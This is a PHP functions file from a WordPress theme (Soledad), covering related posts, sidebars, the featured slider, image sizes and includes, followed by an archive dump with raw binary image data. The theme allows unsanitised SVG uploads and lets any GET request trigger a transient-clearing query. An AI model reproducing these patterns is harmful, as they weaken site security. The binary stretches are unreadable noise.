			if (!empty($the_category)) {
				$primary_term_id = $the_category[0]->term_id;
			}
		}

		$soledad_primary_term_id = get_post_meta( get_the_ID(), 'pcpricat_primary_'.$taxonomy_name, true );

		$primary_term_id = $soledad_primary_term_id ? $soledad_primary_term_id : $primary_term_id;

		// Get primary cat from Yoast
		if (function_exists('yoast_get_primary_term_id')) {
			$primary_term_id = yoast_get_primary_term_id($taxonomy_name, get_the_id());
		}
		// Get primary cat from Rank Math
		if (class_exists('RankMath')) {
			$primary_term_id = get_post_meta(get_the_id(), 'rank_math_primary_category', true);
		}

		return $primary_term_id;
	}
}

if (!function_exists('penci_get_wpseo_primary_term')) {
	function penci_get_wpseo_primary_term($taxonomy_name = 'category') {
		$primary_term_id = penci_get_primary_cat_id($taxonomy_name);
		if ($primary_term_id) {
			$term = get_term($primary_term_id, $taxonomy_name);

			if (is_wp_error($term)) {
				return '';
			}

			// Primary category
			$category_display = $term->name;
			$category_link = get_category_link($term->term_id);

			return '<span><a class="crumb" href="' . esc_url($category_link) . '">' . $category_display . '</a></span>' . penci_icon_by_ver('fas fa-angle-right');
		}
	}
}

/**
 * Exclude specific categories from latest posts on Homepage
 *
 * @since 2.4
 */
if (!function_exists('penci_exclude_specific_categories_display_on_home2')) {
	function penci_exclude_specific_categories_display_on_home2($query) {

		$feat_query = penci_global_query_featured_slider();

		if (get_theme_mod('penci_exclude_featured_cat') && $feat_query && $query->is_main_query() & is_home()) {

			$list_post_ids = array();
			if ($feat_query->have_posts()) {
				while ($feat_query->have_posts()):
					$feat_query->the_post();
					$list_post_ids[] = get_the_ID();
				endwhile;
				wp_reset_postdata();
			}

			if (!$list_post_ids) {
				return $query;
			}

			$query->set('post__not_in', $list_post_ids);
		}
		return $query;
	}

	add_action('pre_get_posts', 'penci_exclude_specific_categories_display_on_home2');
}

/**
 * Get query for related posts of current posts
 *
 * Return $array
 */
if (!function_exists('penci_get_query_related_posts')) {
	function penci_get_query_related_posts($id, $based, $orderby, $order, $numbers) {

		$return = array();
		$post_type = get_post_type($id);
		$categories = get_the_category($id);
		$primary_catid = penci_get_primary_cat_id();
		if ('primary_cat' == $based && $primary_catid) {
			$term = get_term($primary_catid);
			if (!is_wp_error($term)) {
				$categories = array($term);
			}
		}

		if ('tags' == $based):
			$categories = wp_get_post_terms($id, 'post_tag', array('fields' => 'ids'));
		endif;

		if ($categories) {
			if ($based == 'tags') {
				$return = array(
					'post_type' => $post_type,
					'ignore_sticky_posts' => 1,
					'posts_per_page' => $numbers,
					'tax_query' => array(
						array(
							'taxonomy' => 'post_tag',
							'terms' => $categories,
						),
					),
					'post__not_in' => array($id),
					'orderby' => $orderby,
					'order' => $order,
				);
			} else {
				$category_ids = array();
				$featured_cat = '';
				/* Get featured category when slider is enabled */
				if (get_theme_mod('penci_featured_slider') && (get_theme_mod('penci_featured_slider_filter_type') != 'tags')):
					$featured_cat = get_theme_mod('penci_featured_cat');
				endif;

				foreach ($categories as $individual_category) {
					/* Remove featured slider categories to related posts */
					$term_related = $individual_category->term_id;
					if (!get_theme_mod('penci_post_related_exclusive_cat') || (get_theme_mod('penci_post_related_exclusive_cat') && ($term_related != $featured_cat))) {
						$category_ids[] = $term_related;
					}
				}

				$return = array(
					'category__in' => $category_ids,
					'post__not_in' => array($id),
					'posts_per_page' => $numbers,
					'ignore_sticky_posts' => 1,
					'orderby' => $orderby,
					'order' => $order,
				);
			}

			if ('popular' == $orderby) {
				$return['meta_key'] = penci_get_postviews_key();
				$return['orderby'] = 'meta_value_num';
			} elseif ('popular_day' == $orderby) {
				$return['meta_key'] = 'penci_post_day_views_count';
				$return['orderby'] = 'meta_value_num';
			} elseif ('popular7' == $orderby) {
				$return['meta_key'] = 'penci_post_week_views_count';
				$return['orderby'] = 'meta_value_num';
			} elseif ('popular_month' == $orderby) {
				$return['meta_key'] = 'penci_post_month_views_count';
				$return['orderby'] = 'meta_value_num';
			} elseif ('jetpack' == $orderby) {
				$return['meta_key'] = '_jetpack_post_view';
				$return['orderby'] = 'meta_value_num';
			} elseif ( 'most_liked' == $orderby ) {
				$return['meta_key'] = '_post_like_count';
				$return['orderby']  = 'meta_value_num';
			}
		}

		return $return;
	}
}

/**
 * Get class for detect sidebar use for single posts page.
 *
 * Return $string
 */
if (!function_exists('penci_get_posts_sidebar_class')) {
	function penci_get_posts_sidebar_class() {
		$sidebar_customize = get_theme_mod('penci_single_layout') ? get_theme_mod('penci_single_layout') : 'right-sidebar';
		
		$priid = penci_get_post_pri_cat();
		if ( $priid ) {
			$cat_options = get_option( "category_$priid" );
			$override = isset( $cat_options['cat_sidebar_single'] ) ? $cat_options['cat_sidebar_single'] : '';
			if ( $override ) {
				$cat_sidebar = isset( $cat_options['cat_sidebar_display'] ) ? $cat_options['cat_sidebar_display'] : '';
				if ( $cat_sidebar ): $sidebar_opts = $cat_sidebar; endif;
			}
		}
		
		
		$sidebar_opts = penci_get_single_key(get_the_ID(), 'penci_post_sidebar_display');
		$sidebar_pos = $sidebar_opts ? $sidebar_opts : $sidebar_customize;

		$sidebar_position = '';
		if ($sidebar_pos == 'left') {
			$sidebar_position = 'left-sidebar';
		} elseif ($sidebar_pos == 'right') {
			$sidebar_position = 'right-sidebar';
		} elseif ($sidebar_pos == 'two') {
			$sidebar_position = 'two-sidebar';
		}

		return $sidebar_position;
	}
}

/**
 * Apply logo image to WP Block Embed
 *
 * Return $string
 */
add_filter('get_site_icon_url', 'penci_custom_wp_block_embedded_icon');
if (!function_exists('penci_custom_wp_block_embedded_icon')) {
	function penci_custom_wp_block_embedded_icon($url) {
		$icon = get_theme_mod('penci_favicon');
		if ($icon) {
			return $icon;
		} else {
			return $url;
		}
	}
	remove_action( 'wp_head', 'wp_site_icon', 99 );
}
if (!function_exists('penci_custom_login_logo_url')) {
	function penci_custom_login_logo_url($url) {
		if (get_theme_mod('activate_white_label')) {
			return get_bloginfo('url');
		} else {
			return $url;
		}
	}
}
add_filter('login_headerurl', 'penci_custom_login_logo_url', 10, 1);

/**
 * Check if single has sidebar or not
 *
 * Return $string
 */
if (!function_exists('penci_single_sidebar_return')) {
	function penci_single_sidebar_return() {

		$single_sidebar = true;
		$sidebar_old = get_theme_mod('penci_sidebar_posts');
		$sidebar_customize = get_theme_mod('penci_single_layout');

		$priid = penci_get_post_pri_cat();
		if ( $priid ) {
			$cat_options = get_option( "category_$priid" );
			$override = isset( $cat_options['cat_sidebar_single'] ) ? $cat_options['cat_sidebar_single'] : '';
			if ( $override ) {
				$cat_sidebar = isset( $cat_options['cat_sidebar_display'] ) ? $cat_options['cat_sidebar_display'] : '';
				if ( $cat_sidebar ): $sidebar_opts = $cat_sidebar; endif;
			}
		}


		$sidebar_opts = penci_get_single_key( get_the_ID(), 'penci_post_sidebar_display' );

		if ($sidebar_opts == 'no' || $sidebar_opts == 'small_width') {
			$single_sidebar = false;
		} elseif (!$sidebar_opts) {
			if ($sidebar_customize == 'no' || $sidebar_customize == 'small_width') {
				$single_sidebar = false;
			} elseif (!get_theme_mod('penci_single_layout')) {
				if (!penci_get_setting('penci_sidebar_posts')) {
					$single_sidebar = false;
				}
			}
		}

		return $single_sidebar;
	}
}

/**
 * Get inline-ads markup
 */
if (!function_exists('penci_get_markup_infeed_ad')) {
	function penci_get_markup_infeed_ad($args) {

		$defaults = array(
			'wrapper' => 'div',
			'classes' => 'penci-infeed-ads',
			'fullwidth' => '',
			'order_ad' => 3,
			'order_post' => '',
			'code' => '',
			'echo' => false,
		);

		$parse = wp_parse_args($args, $defaults);

		$before = $after = $order_ad = $order_post = $code = '';
		extract($parse);

		if (($order_post % $order_ad != 0) || !$code) {
			return;
		}

		if ('full' == $fullwidth) {
			$classes = $classes . ' penci-infeed-fullwidth-ads';
			$wrapper = 'div';
		}

		$output = '<' . $wrapper . ' class="' . $classes . '">';
		$output .= '<div class="penci-inner-infeed-data">';
		$output .= penci_safe_shortcode($code);
		$output .= '</div>';
		$output .= '</' . $wrapper . '>';

		if (!$parse['echo']) {
			return $output;
		}

		echo $output;
	}
}

/**
 * Check showing reading time or not
 *
 * $option - the option to passed show/hide reading time
 */
if (!function_exists('penci_isshow_reading_time')) {
	function penci_isshow_reading_time($option) {
		$return = false;
		$post_id = get_the_ID();
		if ($post_id) {
			$default_reading = penci_estimate_readingtime($post_id);
			$reading_time = get_post_meta($post_id, 'penci_reading_time', true);
			if (($reading_time || $default_reading) && !$option) {
				$return = true;
			}
		}

		return $return;
	}
}

/**
 * Get reading time data
 */
if (!function_exists('penci_reading_time')) {
	function penci_reading_time($echo = true, $post_id = null) {

		if (empty($post_id)) {
			$post_id = get_the_ID();
		}
		$return = penci_estimate_readingtime($post_id);
		if ($post_id) {
			$reading_time = get_post_meta($post_id, 'penci_reading_time', true);
			if ($reading_time) {
				$return = $reading_time;
			}
		}

		if ($return && penci_get_setting('penci_trans_read')) {
			$return = $return . ' ' . penci_get_setting('penci_trans_read');
		}

		if ($echo == false) {
			return $return;
		}

		echo $return;
	}
}

/*
 * run do_shortcode for get_theme_mod
 */
if (!function_exists('penci_theme_mod')) {
	function penci_theme_mod($option) {
		if (!get_theme_mod($option)) {
			return false;
		} else {
			return do_shortcode(get_theme_mod($option));
		}
	}
}

/**
 * Check if single has layout smaller content
 *
 * Return $string
 */
if (!function_exists('penci_single_smaller_content_enable')) {
	function penci_single_smaller_content_enable() {

		$single_smaller_content = false;
		$sidebar_customize = get_theme_mod('penci_single_layout');
		$sidebar_opts = penci_get_single_key(get_the_ID(), 'penci_post_sidebar_display');

		if ($sidebar_opts == 'small_width') {
			$single_smaller_content = true;
		} elseif (!$sidebar_opts) {
			if ($sidebar_customize == 'small_width') {
				$single_smaller_content = true;
			}
		}

		return $single_smaller_content;
	}
}

if (!function_exists('penci_get_query_featured_slider')) {
	function penci_get_query_featured_slider() {

		if (!get_theme_mod('penci_exclude_featured_cat')) {
			$feat_query = penci__query_featured_slider();
		} else {
			$feat_query = penci_global_query_featured_slider();
			if (!$feat_query) {
				$feat_query = penci__query_featured_slider();
			}
		}
		return $feat_query;
	}
}

if (!function_exists('penci_global_query_featured_slider')) {
	function penci_global_query_featured_slider() {
		$feat_query = array();
		if (isset($GLOBALS['penci_query_featured_slider']) && $GLOBALS['penci_query_featured_slider']) {
			$feat_query = $GLOBALS['penci_query_featured_slider'];
		}
		return $feat_query;
	}
}

if (!function_exists('penci__query_featured_slider')):
	function penci__query_featured_slider() {
		$feat_query = array();
		if (get_theme_mod('penci_featured_slider')) {
			$slider_style = get_theme_mod('penci_featured_slider_style') ? get_theme_mod('penci_featured_slider_style') : 'style-1';

			if (in_array($slider_style, array('style-31', 'style-32'))) {
				return array();
			}

			$featured_cat = get_theme_mod('penci_featured_cat');
			$number = get_theme_mod('penci_featured_slider_slides');

			if (!$number) {
				$number = 6;
				if (in_array($slider_style, array('style-7', 'style-8', 'style-10', 'style-19', 'style-23', 'style-24', 'style-25'))) {
					$number = 8;
				} elseif (in_array($slider_style, array('style-17', 'style-18', 'style-20', 'style-21', 'style-26', 'style-27'))) {
				$number = 10;
			} elseif (in_array($slider_style, array('style-22', 'style-28'))) {
				$number = 14;
			} elseif ($number < 3 && $slider_style == 'style-37') {
				$number = 6;
			}
		}
		$featured_args = array(
			'posts_per_page' => $number,
			'post_type' => 'post',
			'post_status' => 'publish',
		);

		if (!get_theme_mod('penci_featured_tags') || get_theme_mod('penci_featured_slider_filter_type') != 'tags') {
			if ($featured_cat && '0' != $featured_cat):
				$featured_args['cat'] = $featured_cat;
			endif;
		} elseif (get_theme_mod('penci_featured_tags') && get_theme_mod('penci_featured_slider_filter_type') == 'tags') {
			$list_tag = get_theme_mod('penci_featured_tags');
			$list_tag_trim = str_replace(' ', '', $list_tag);
			$list_tags = explode(',', $list_tag_trim);
			$featured_args['tax_query'] = array(
				array(
					'taxonomy' => 'post_tag',
					'field' => 'slug',
					'terms' => $list_tags,
				),
			);
		}

		$orderby = get_theme_mod('featured_slider_orderby');
		$order = get_theme_mod('featured_slider_order');

		$featured_args['orderby'] = $orderby ? $orderby : 'date';
		$featured_args['order'] = $order ? $order : 'DESC';

		$feat_query = new WP_Query($featured_args);
	}

	return $feat_query;
}
endif;

if (!function_exists('penci_set_query_featured_slider')):
	function penci_set_query_featured_slider() {

		$query = array();
		if (get_theme_mod('penci_exclude_featured_cat')) {
			$query = penci__query_featured_slider();
		}

		$GLOBALS['penci_query_featured_slider'] = $query;
	}
	add_action('init', 'penci_set_query_featured_slider');
endif;

if (!function_exists('penci_reltag_social_icons')):
	function penci_reltag_social_icons() {
		$dataref = get_theme_mod('penci_rel_type_social') ? get_theme_mod('penci_rel_type_social') : 'noreferrer';
		$data_return = str_replace('_', ' ', $dataref);
		if ('none' != $data_return) {
			$return = ' rel="' . $data_return . '"';
		} else {
			$return = '';
		}

		return $return;
	}
endif;

/* Allow Upload SVG & JSon & Some file types */
if (!function_exists('penci_allows_upload_custom_file_types')) {
	function penci_allows_upload_custom_file_types($mimes) {
		$mimes['json'] = 'text/plain';
		$mimes['svg'] = 'image/svg+xml';
		$mimes['csv'] = 'text/csv';
		$mimes['svgz'] = 'image/svg+xml';
		$mimes['doc'] = 'application/msword';

		return $mimes;
	}
	add_filter('upload_mimes', 'penci_allows_upload_custom_file_types');
}

/* Get typo data for WPBakery */
if (!function_exists('penci_soledad_vc_extract_font_prop')) {
	function penci_soledad_vc_extract_font_prop($param) {
		if (function_exists('vc_parse_multi_attribute')) {
			$typo = vc_parse_multi_attribute($param);
			$prop = '';
			unset($typo['tag']);
			foreach ($typo as $tag => $properties) {
				$prop .= str_replace('_', '-', $tag) . ':' . $properties . ';';
			}

			return $prop;
		}
	}
}

/* Detect if is using Gutenberg editor or not */
if (!function_exists('penci_is_using_gutenberg')) {
	function penci_is_using_gutenberg() {
		$return = false;
		$wp_version = $GLOBALS['wp_version'];
		if (version_compare($wp_version, '5.0-beta', '>')) {
			$edit_screen = get_current_screen();
			if ($edit_screen && method_exists($edit_screen, 'is_block_editor') && $edit_screen->is_block_editor()) {
				$return = true;
			}
		}
		return $return;
	}
}

/* Filter support post type for meta boxes */
if (!function_exists('penci_post_types_allow_meta_boxes')) {
	function penci_post_types_allow_meta_boxes() {
		$default = array('post');

		// Filter to add more allow post type
		$allow_post_type = apply_filters('penci_filter_allow_post_type', $default);

		if (!empty($allow_post_type) && is_array($allow_post_type)) {
			return $allow_post_type;
		}

		return $default;
	}
}

/* Get the sub title for posts */
if (!function_exists('penci_display_post_subtitle')) {
	function penci_display_post_subtitle($class = '', $echo = true) {
		$sub_title = get_post_meta(get_the_ID(), 'penci_post_sub_title', true);
		$html_return = '';
		if ($sub_title) {
			$html_return = '<h2 class="penci-psub-title ' . $class . '">' . $sub_title . '</h2>';
		}

		if ($echo) {
			echo $html_return;
		} else {
			return $html_return;
		}
	}
}

if (!function_exists('penci_get_publish_post_types_for_search')) {
	function penci_get_publish_post_types_for_search($args = array()) {
		$post_type_args = array(
			// Default is the value $public.
			'show_in_nav_menus' => true,
		);

		if (!empty($args['post_type'])) {
			$post_type_args['name'] = $args['post_type'];
		}

		$_post_types = get_post_types($post_type_args, 'objects');

		$post_types = array();

		$ex_post_types = array(
			'e-landing-page',
			'page',
		);

		foreach ($_post_types as $post_type => $object) {
			$post_types[$object->name] = array(
				'name' => $object->label,
				'value' => $object->name,
			);
		}

		foreach ($ex_post_types as $post_type) {
			unset($post_types[$post_type]);
		}

		return $post_types;
	}
}

if (!function_exists('penci_holder_image_base')) {
	function penci_holder_image_base($width = null, $height = null) {
		if (null == $width || null == $height || '' == $width || '' == $height) {
			$width = 3;
			$height = 2;
		}
		$return = "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20" . $width . '%20' . $height . "'%3E%3C/svg%3E";
		/* Decode: $return = "data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 $width $height'></svg> */
		return esc_attr($return);
	}
}

if (!function_exists('penci_image_srcset')) {
	function penci_image_srcset($post_id, $desktop_size = 'full', $mobile_size = '', $option = false ) {

		$return = '';

		$return .= penci_get_featured_image_size($post_id, $desktop_size);

		if ($mobile_size) {
			$return .= '" data_bg_hidpi="' . penci_get_featured_image_size($post_id, $mobile_size);
		}

		return $return;
	}
}

if (!function_exists('penci_image_img_srcset')) {
	function penci_image_img_srcset($post_id, $desktop_size = 'full', $mobile_size = '') {

		$img_lists = array();
		$image_sizes = penci_image_size_thumb();
		if ($mobile_size && isset($image_sizes[$mobile_size]['width']) && $image_sizes[$mobile_size]['width']) {
			$img_lists[] = penci_get_featured_image_size($post_id, $mobile_size) . ' ' . $image_sizes[$mobile_size]['width'] . 'w';
		} else {
			return '';
		}

		// desktop image
		$img_lists[] = penci_get_featured_image_size($post_id, $desktop_size);

		return implode(',', $img_lists);
	}
}

if (!function_exists('penci_image_size_thumb')) {
	function penci_image_size_thumb() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = array('thumbnail', 'medium', 'medium_large', 'large');

		$image_sizes = array();

		foreach ($default_image_sizes as $size) {
			$image_sizes[$size] = array(
				'width' => (int) get_option($size . '_size_w'),
				'height' => (int) get_option($size . '_size_h'),
				'crop' => (bool) get_option($size . '_crop'),
			);
		}

		if ($_wp_additional_image_sizes) {
			$image_sizes = array_merge($image_sizes, $_wp_additional_image_sizes);
		}
		return $image_sizes;
	}
}

if (!function_exists('penci_image_datasize')) {
	function penci_image_datasize($desktop = '', $mobile = '') {

		$meta_size = array();

		$image_sizes = penci_image_size_thumb();

		if ($mobile) {
			$mobile_size = isset($image_sizes[$mobile]['width']) && $image_sizes[$mobile]['width'] ? $mobile : '';
			if ($mobile_size) {
				$meta_size[] = '(max-width: 767px) ' . $image_sizes[$mobile_size]['width'] . 'px';
			} else {
				return 'auto';
			}
		}

		$desktop_size = isset($image_sizes[$desktop]) && $image_sizes[$desktop] ? $desktop : 'full';

		$meta_size[] = isset($image_sizes[$desktop_size]['width']) ? $image_sizes[$desktop_size]['width'] . 'px' : '';

		return implode(', ', $meta_size);
	}
}

/**
 * Exclude post types from XML sitemaps from Yoast SEO.
 *
 * @param boolean $excluded  Whether the post type is excluded by default.
 * @param string  $post_type The post type to exclude.
 *
 * @return bool Whether or not a given post type should be excluded.
 */
if (!function_exists('penci_yoast_sitemap_exclude_post_type')) {
	function penci_yoast_sitemap_exclude_post_type($excluded, $post_type) {
		if (in_array($post_type, array('archive-template', 'custom-post-template', 'penci_builder', 'penci-block', 'e-landing-page'))) {
			return;
		}
	}
}
add_filter('wpseo_sitemap_exclude_post_type', 'penci_yoast_sitemap_exclude_post_type', 10, 2);

if (!is_admin()) {
	require PENCI_SOLEDAD_DIR . '/inc/video-format.php';
	new Penci_Sodedad_Video_Format();
}
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/excerpt.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/instagram/instagram.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/twitter/dashpage.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/global-js.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'soledad_vc.php';

// Visual Composer add on
if (defined('WPB_VC_VERSION')) {
	include trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/js_composer/js_composer.php';
	include trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/js_composer/soledad_vc.php';
}

if (defined('ELEMENTOR_VERSION')) {
	require PENCI_SOLEDAD_DIR . '/inc/elementor/elementor.php';
	require PENCI_SOLEDAD_DIR . '/inc/blocks/blocks.php';
}

// Function work with elementor, vc, widgets
require PENCI_SOLEDAD_DIR . '/inc/js_composer/inc/helper.php';
require PENCI_SOLEDAD_DIR . '/inc/json-schema-validar.php';

if (is_admin() && !class_exists('RWMB_Loader')) {
	require_once PENCI_SOLEDAD_DIR . '/inc/dashboard/lib/meta-box/meta-box.php';
}

if (is_admin() && class_exists('RWMB_Loader')) {
	require_once PENCI_SOLEDAD_DIR . '/inc/dashboard/lib/mb-settings-page/mb-settings-page.php';
	require_once PENCI_SOLEDAD_DIR . '/inc/dashboard/lib/meta-box-conditional-logic/meta-box-conditional-logic.php';
}

require PENCI_SOLEDAD_DIR . '/inc/dashboard/class-penci-dashboard.php';

if (function_exists('register_block_type')) {
	require PENCI_SOLEDAD_DIR . '/inc/block/heading-styles/heading-title-block.php';
}

if (class_exists('WooCommerce')) {
	require PENCI_SOLEDAD_DIR . '/inc/woocommerce/woocommerce.php';
}

add_action(
	'init',
	function () {
		$clear_imagesizecache = isset($_GET['pcclear_imgsize']) && $_GET['pcclear_imgsize'] ? $_GET['pcclear_imgsize'] : false;
		if ($clear_imagesizecache) {
			global $wpdb;
			$imgcache = (array) $wpdb->get_results("SELECT `option_name` FROM {$wpdb->options} WHERE `option_name` LIKE '_transient_pc_idata_%'", ARRAY_A);
			if (!empty($imgcache)) {
				foreach ($imgcache as $img) {
					$transient = str_replace('_transient_', '', $img['option_name']);
					\delete_transient($transient);
				}
			}
		}
		if ( get_option( 'elementor_experiment-e_font_icon_svg' ) != 'inactive' ) {
			update_option( 'elementor_experiment-e_font_icon_svg', 'inactive' );
		}
        if ( get_option( 'elementor_experiment-e_dom_optimization' ) != 'inactive' ) {
			update_option( 'elementor_experiment-e_dom_optimization', 'inactive' );
		}
		
	}
);
require PENCI_SOLEDAD_DIR . '/inc/ajax.php';
require PENCI_SOLEDAD_DIR . '/inc/block.php';
require PENCI_SOLEDAD_DIR . '/inc/featured_archive_posts.php';
require PENCI_SOLEDAD_DIR . '/inc/builder/penci-builder.php';
require PENCI_SOLEDAD_DIR . '/inc/data-imex/penci-imex.php';
require PENCI_SOLEDAD_DIR . '/inc/template-builder/init.php';
require PENCI_SOLEDAD_DIR . '/inc/smartlists/init.php';
require PENCI_SOLEDAD_DIR . '/inc/toc/init.php';
require PENCI_SOLEDAD_DIR . '/inc/ad_settings.php';
require PENCI_SOLEDAD_DIR . '/inc/ajax-search.php';
require PENCI_SOLEDAD_DIR . '/inc/ad_blocker.php';
if (!class_exists('Simple_Local_Avatars')) {
	require PENCI_SOLEDAD_DIR . '/inc/avatar/init.php';
}
if (defined('WEBSTORIES_VERSION')) {
	require PENCI_SOLEDAD_DIR . '/inc/web-stories.php';
}

require PENCI_SOLEDAD_DIR . '/inc/accessibility.php';
require PENCI_SOLEDAD_DIR . '/inc/opengraph.php';
require PENCI_SOLEDAD_DIR . '/inc/user-profile.php';
require PENCI_SOLEDAD_DIR . '/inc/google_search.php';
require PENCI_SOLEDAD_DIR . '/inc/comment_ratings.php';
require PENCI_SOLEDAD_DIR . '/inc/options/options.php';
require PENCI_SOLEDAD_DIR . '/inc/links/link_options.php';
require PENCI_SOLEDAD_DIR . '/inc/mod-date.php';
require PENCI_SOLEDAD_DIR . '/inc/delayed_div.php';
require PENCI_SOLEDAD_DIR . '/inc/primary-cat/penci_primary_cat.php';
require PENCI_SOLEDAD_DIR . '/inc/maintenance.php';
require PENCI_SOLEDAD_DIR . '/inc/plugins.php';
require PENCI_SOLEDAD_DIR . '/inc/dashboard/inc/optional_plugins.php';PK     N\y97      content-overlay-list.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $jj to count order posts
 * If $jj = 1, to show standard post, $jj > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $jj ) ) { $jj = 1; } else { $jj = $jj; }

if ( $jj == 1 ) {
	include( locate_template( 'content-overlay.php' ) );
}
else {
	include( locate_template( 'content-list.php' ) );
}

$jj++;
?>

PK     N\z.  .    images/footer-logo.pngnu [        PNG

   IHDR      H   L   gAMA  a   sRGB    PLTE   M>   tRNS l<̕7  IDATx\ܪZ,\ͳ)v(3!<30SK8_M'5i	GS3q߀1k%٣U/?#0_*4DςY$;c҃*Mrق2C M@5]a<-Cx=20GpqfT?4رDgl<q0{ o<H-1Ҙ[MTXzC9mSjaKa>hO.a*3GGLiXD'0Pe2*T`%0IIN߇"vqb%vC]_up=nȬzK_x7ukWc9	Hb"8Bqqb^wNL*uCPw[(:s}?TRZsЛ*U(fql o,\|`:)Kb'{},n\LG`GݶM F}peaۗ8ʤݶe50d:0ux&qqfw +(;hQ:$Ī7`,!&CBޟG )8v^tݣ6I'/Ps|1Wّ6pE钌0T
mśS8`XThx	/\;sekm~.ߚw1i]%]qjÌ凄da /Z*KgTYo/國fInmsM'/|tLv&`3 sN1']SֆKB1g_-#J]p2#%j>k@a&k23Rz5r{~ΔT8~Xxw`SpȥzT0ޱQޣ 3'>-xj0(%}(q))}a>Z. W6T1,H1Z<\p**}W
BpI"`ge(O|5x̍sy<'hi/IaUk*6(~jLhЂd
Z3&aH܂3*@EM5M}	YG|.6)
J
e6L̈73G]kcb:~shLD3\|Po Fjم_[mB͎ة0۸o՞#<Qr-(9BX4YXE亥8-*l!]%^!Mi9)vyq6jQNraYY?E<`j4Ԓ9#%U1ĺYT:'B*E1\(~]8u jkI[iI3Qa.Dƹ$a ~Gp#.'t/S	 P<t}(%8	Vf.L^#JĘu؞!6u_0k4b:~ H:?zT%b6]ͅa^3 %*f?|ޞ_dPd*eɀB]E|%}3IDui0X9Q\aʹuER0%yH9ؤ܎U1tgؼ"Í:jQk5%VR]r %?H`bKO4ɹ ʓ(꓌O4I2|V9.M&ꏨ%2KH3[Z^My8AYz9ő`G]i$/|b(0h!jQ t>f.Ӥen>/M@:r<P*/΋ϫ GT>)MgxƯ5e3(_* @ww
fG+HĨiesKkoԔuߍ(w}! V-̿|6G /L    IENDB`PK     N\_+	  	    images/loading.gifnu [        GIF89a       ర莎Ȝبvvvhhh                                          !Created with ajaxload.info !    !NETSCAPE2.0   ,         $ AeZ
<䠒ÌQ46<AßH a :ID0Fa\xG3!	O:-RjTJ*		t~"ds]
)t-" i;H>nQg]_* 
R3GI?˴v$ýj3! !   ,         $0eZy0q PУW)";qX^D50	Ո<H3!k-na (id$P@yw`J#
?yogf'8{ 'C p`j n" 
2{`xjy4C,4o#n$ß! !   ,         $ eZ$2qҢE ҉p$H@D/GDÄj8v#P((Dƶ N(3ܴ#y(@	gUx*kK)?K$"
*KW x?G #WкnhK, +*! !   ,         $ eZY$1Q(cҢO'"  1
q؍d"AVx8p4988MRC@	e*3@iI)
'
?I@,#5 ,"Ez ?@E@)*! !   ,         $(e$ÐĠCE1
	;('2$!  DS%!)e[TE50pŨ F
{V8,%`3gIw3*h")	q4)#g #S$"$
>%`rJ{1$ʈ! !   ,         $@e6$Ơ`3*=
 P\"F`P-d5V"2|?n"!()e4xyc?		3#wyJl%o^[b_0	VT[0m $4 >'VZ 
c 3$X%! !   ,         $`e:D3
H0, 'j0QsL(2HMj#ȉB\Oi`u=YEVL=I		>suIWJm|	\"_b0BcV"d]*K1"	H|@B?I4#S$-||! !   ,         $4ea:DhI /K$W-	0(`3 F=pf@tQ
{f~*yS*mg)	enu		E^Z^	g@	kw(b&	-w#" xW "t
##%U$`to! !   ,         $4ea:*1v/Kdz<p6%tP5S| H(F c`05xz*|~vG0t#
	Fh0
#Cd1
I#(i	- 		uEL	q"	h%$$< q! !  	 ,         $4ea:*1v/Kdzp6%tPt5ũ3nG$
@awy{hoFS>k#	FY"%E 
CbAI4$	(z :2 
mI		Ll##
F##>F! !  
 ,         $4ea:*1v/KdVtKG22 7D"$)Qqp8yl|~6zw2j#F
"	%
VC]6a$ 
Q:2	\  EF	I&x	"͓F4$]#x! !   ,         $4eZi䠒J16<B?$rTHzDP'"l(15y8tgp,qÛM*		q"}#	b?y{		{)s	- s:9>e  E,C\3
^3[ S|?! ;         PK     N\;	  ;	    images/fire.svgnu [        <?xml version="1.0" encoding="utf-8"?>
<!-- Uploaded to: SVG Repo, www.svgrepo.com, Generator: SVG Repo Mixer Tools -->
<svg width="800px" height="800px" viewBox="-33 0 255 255" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid">
  <defs>
    <style>

      .cls-3 {
        fill: url(#linear-gradient-1);
      }

      .cls-4 {
        fill: #fc9502;
      }

      .cls-5 {
        fill: #fce202;
      }
    </style>

    <linearGradient id="linear-gradient-1" gradientUnits="userSpaceOnUse" x1="94.141" y1="255" x2="94.141" y2="0.188">
      <stop offset="0" stop-color="#ff4c0d"/>
      <stop offset="1" stop-color="#fc9502"/>
    </linearGradient>
  </defs>
  <g id="fire">
    <path d="M187.899,164.809 C185.803,214.868 144.574,254.812 94.000,254.812 C42.085,254.812 -0.000,211.312 -0.000,160.812 C-0.000,154.062 -0.121,140.572 10.000,117.812 C16.057,104.191 19.856,95.634 22.000,87.812 C23.178,83.513 25.469,76.683 32.000,87.812 C35.851,94.374 36.000,103.812 36.000,103.812 C36.000,103.812 50.328,92.817 60.000,71.812 C74.179,41.019 62.866,22.612 59.000,9.812 C57.662,5.384 56.822,-2.574 66.000,0.812 C75.352,4.263 100.076,21.570 113.000,39.812 C131.445,65.847 138.000,90.812 138.000,90.812 C138.000,90.812 143.906,83.482 146.000,75.812 C148.365,67.151 148.400,58.573 155.999,67.813 C163.226,76.600 173.959,93.113 180.000,108.812 C190.969,137.321 187.899,164.809 187.899,164.809 Z" id="path-1" class="cls-3" fill-rule="evenodd"/>
